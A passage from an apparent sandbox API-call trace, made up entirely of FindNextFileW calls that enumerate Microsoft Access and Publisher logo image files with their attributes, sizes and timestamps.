cAlternateFileName="MS6F5E~1.PNG")) returned 1 [0188.024] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-180.png", cAlternateFileName="MSA13D~1.PNG")) returned 1 [0188.024] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-black_scale-80.png", cAlternateFileName="MSACCE~1.PNG")) returned 1 [0188.024] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xba5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-100.png", cAlternateFileName="MS13E6~1.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-140.png", cAlternateFileName="MSACCE~4.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x132f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-180.png", cAlternateFileName="MSACCE~3.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6192e9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6192e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6192e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.contrast-white_scale-80.png", cAlternateFileName="MSACCE~2.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc35, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-100.png", cAlternateFileName="MS31C8~1.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-140.png", cAlternateFileName="MS30DC~1.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-180.png", cAlternateFileName="MS72AB~1.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogo.scale-80.png", cAlternateFileName="MS2629~1.PNG")) returned 1 [0188.025] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-100.png", cAlternateFileName="MS631D~1.PNG")) returned 1 [0188.026] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-140.png", cAlternateFileName="MS214E~1.PNG")) returned 1 [0188.026] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-180.png", cAlternateFileName="MS7EC2~1.PNG")) returned 1 [0188.026] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x730, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-black_scale-80.png", cAlternateFileName="MS389C~1.PNG")) returned 1 [0188.026] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-100.png", cAlternateFileName="MS74CC~1.PNG")) returned 1 [0188.026] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-140.png", cAlternateFileName="MSA29A~1.PNG")) returned 1 [0188.026] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-180.png", cAlternateFileName="MSFF1F~1.PNG")) returned 1 [0188.026] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.contrast-white_scale-80.png", cAlternateFileName="MSE33B~1.PNG")) returned 1 [0188.027] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-100.png", cAlternateFileName="MSBF6D~1.PNG")) returned 1 [0188.027] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb43, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-140.png", cAlternateFileName="MS1EB3~1.PNG")) returned 1 [0188.030] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-180.png", cAlternateFileName="MSDBE4~1.PNG")) returned 1 [0188.030] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-80.png", cAlternateFileName="MSF5B2~1.PNG")) returned 1 [0188.030] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-100.png", cAlternateFileName="MSPUBL~4.PNG")) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-140.png", cAlternateFileName="MSPUBL~3.PNG")) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd19, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-180.png", cAlternateFileName="MSPUBL~2.PNG")) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-80.png", cAlternateFileName="MSPUBL~1.PNG")) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-100.png", cAlternateFileName="MSF61D~1.PNG")) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-140.png", cAlternateFileName="MS39EB~1.PNG")) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-180.png", cAlternateFileName="MSEB57~1.PNG")) returned 1 [0188.031] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-80.png", cAlternateFileName="MS7453~1.PNG")) returned 1 [0188.032] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x892, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-100.png", cAlternateFileName="MSAA06~1.PNG")) returned 1 [0188.032] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-140.png", cAlternateFileName="MSD8D3~1.PNG")) returned 1 [0188.032] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-180.png", cAlternateFileName="MS2668~1.PNG")) returned 1 [0188.032] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-80.png", cAlternateFileName="MS75BF~1.PNG")) returned 1 [0188.032] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-100.png", cAlternateFileName="MSD973~1.PNG")) returned 1 [0188.032] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-140.png", cAlternateFileName="MS97A4~1.PNG")) returned 1 [0188.032] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-180.png", cAlternateFileName="MSE439~1.PNG")) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x637, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-80.png", cAlternateFileName="MSE1AD~1.PNG")) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x717, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-100.png", cAlternateFileName="MS5BCF~1.PNG")) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-140.png", cAlternateFileName="MSA854~1.PNG")) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-180.png", cAlternateFileName="MSD622~1.PNG")) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-80.png", cAlternateFileName="MS6539~1.PNG")) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-100.png", cAlternateFileName="MSA9CC~1.PNG")) returned 1 [0188.033] FindNextFileW (in: hFindFile=0x1ecdd350, 